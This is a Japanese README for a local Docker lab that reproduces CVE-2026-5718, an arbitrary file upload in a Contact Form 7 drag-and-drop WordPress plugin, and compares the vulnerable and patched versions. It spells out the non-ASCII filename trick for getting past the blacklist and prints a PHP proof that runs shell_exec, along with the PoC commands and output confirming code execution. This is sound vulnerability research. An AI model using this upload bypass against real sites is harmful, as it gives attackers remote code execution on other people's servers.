
ローカル専用の脆弱性版・修正版 Docker ラボで CVE-2026-5718 を扱います。この脆弱性は WordPress プラグイン Drag and Drop Multiple File Upload for Contact Form 7 に影響します。
このラボでは、脆弱性バージョン 1.3.9.6 と修正バージョン 1.3.9.7 の違いを、Docker 環境内でのみ動作する最小限の害の PHP 実行プルーフを用いて示します。
スコープ: localhost / Docker ネットワークのみ。この PoC を、自分が所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。
CVE-2026-5718 は、Drag and Drop Multiple File Upload for Contact Form 7 のバージョン 1.3.9.6 以前における任意ファイルアップロードの脆弱性です。
この問題は、カスタムブラックリストタイプが設定され、ファイル名に非 ASCII 文字が含まれている場合に発生します。脆弱性バージョンでは、危険な .php アップロードが意図された保護を回避し、実行可能な状態で保存されます。バージョン 1.3.9.7 では、同一のアップロードを拒否することで問題を修正しています。
このリポジトリは、2つのローカル WordPress サービスを実行します。
vuln (脆弱性版) → http://localhost:8081、プラグインバージョン 1.3.9.6patched (修正版) → http://localhost:8082、プラグインバージョン 1.3.9.7Host
├── http://localhost:8081 -> 脆弱なWordPressサービス
└── http://localhost:8082 -> 修正済みWordPressサービス
Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
シードされた Contact Form 7 フォームには、Drag and Drop Multiple File Upload フィールドが含まれています。
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
PoC は、次の名前の PHP プルーフファイルをアップロードします。
proof-β.php
β 文字は非 ASCII です。これは、脆弱性が非 ASCII 入力のファイル名処理に依存しているため重要です。
高レベルの流れ:
PoC
↓
ラボページを取得し、DnD CF7 AJAX nonce を抽出
↓
wp-admin/admin-ajax.php 経由で proof-β.php をアップロード
↓
脆弱性バージョン 1.3.9.6 がアップロードを受け入れ、.php として保存
↓
PoC がアップロードされたファイルをリクエスト
↓
脆弱性ラボが PHP プルーフを www-data として実行
修正版の流れ:
PoC
↓
同一の proof-β.php ファイルをアップロード
↓
修正版 1.3.9.7 がアップロードを拒否
↓
PHP ファイルは保存されず、コード実行は発生しない
アップロードされる PHP プルーフは意図的に最小限にしています。
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
プルーフは whoami と id のみを実行し、実行コンテキストを示します。リバースシェル、永続化、資格情報へのアクセス、ラテラルムーブメント、ネットワークスキャン、破壊的な操作は行いません。
脆弱性サービスは、プラグインのアップロードディレクトリでの PHP 実行を意図的に許可しており、このローカルラボで影響を観察できるようにしています。修正版サービスはより安全な動作を維持し、アプリケーションの検証レイヤーでアップロードを拒否します。
Python 依存関係のインストール:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
クリーンな状態から開始:
docker compose down -v
docker compose up --build -d
サービス状態の確認:
docker compose ps
ラボページを開く:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
脆弱性サービスに対して実行:
python poc/poc.py --base-url http://localhost:8081
修正済みサービスに対して実行:
python poc/poc.py --base-url http://localhost:8082
PoC は localhost またはループバックターゲットのみを受け入れます。
期待される動作:
出力例:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
期待される動作:
出力例:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
このラボは意図的にローカルテストに限定されています。
PoC:
whoami と id のみを実行する。脆弱性サービスは、ローカルプルーフを観察可能にする目的でのみ、アップロードディレクトリでの PHP 実行を緩和しています。その設定を本番環境にコピーしないでください。
コンテナの停止:
docker compose down
コンテナとボリュームの削除:
docker compose down -v
Python 仮想環境の削除:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Patchstack アドバイザリ: WordPress Drag and Drop Multiple File Upload for Contact Form 7 プラグイン <= 1.3.9.6 - 非ASCIIファイル名ブラックリストバイパスによる認証なし任意ファイルアップロード https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - 非ASCIIファイル名ブラックリストバイパスによる認証なし任意ファイルアップロード https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
GitHub Advisory Database: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
WordPress.org プラグインページ: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
プラグインベンダーページ: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
このリポジトリは教育および防御的なセキュリティ研究のみを目的としています。Docker を使用した localhost でのみ実行するように設計されています。PoC を公開システムやサードパーティのシステムに対して使用しないでください。
| サービス | 目的 | ホストポート | バージョン |
|---|
vuln | 脆弱なWordPressラボ | 8081 | プラグイン 1.3.9.6 |
patched | 修正済みWordPressラボ | 8082 | プラグイン 1.3.9.7 |
vuln-db | 脆弱なサービス用MySQLデータベース | 内部 | MySQL 8.0 |
patched-db | 修正済みサービス用MySQLデータベース | 内部 | MySQL 8.0 |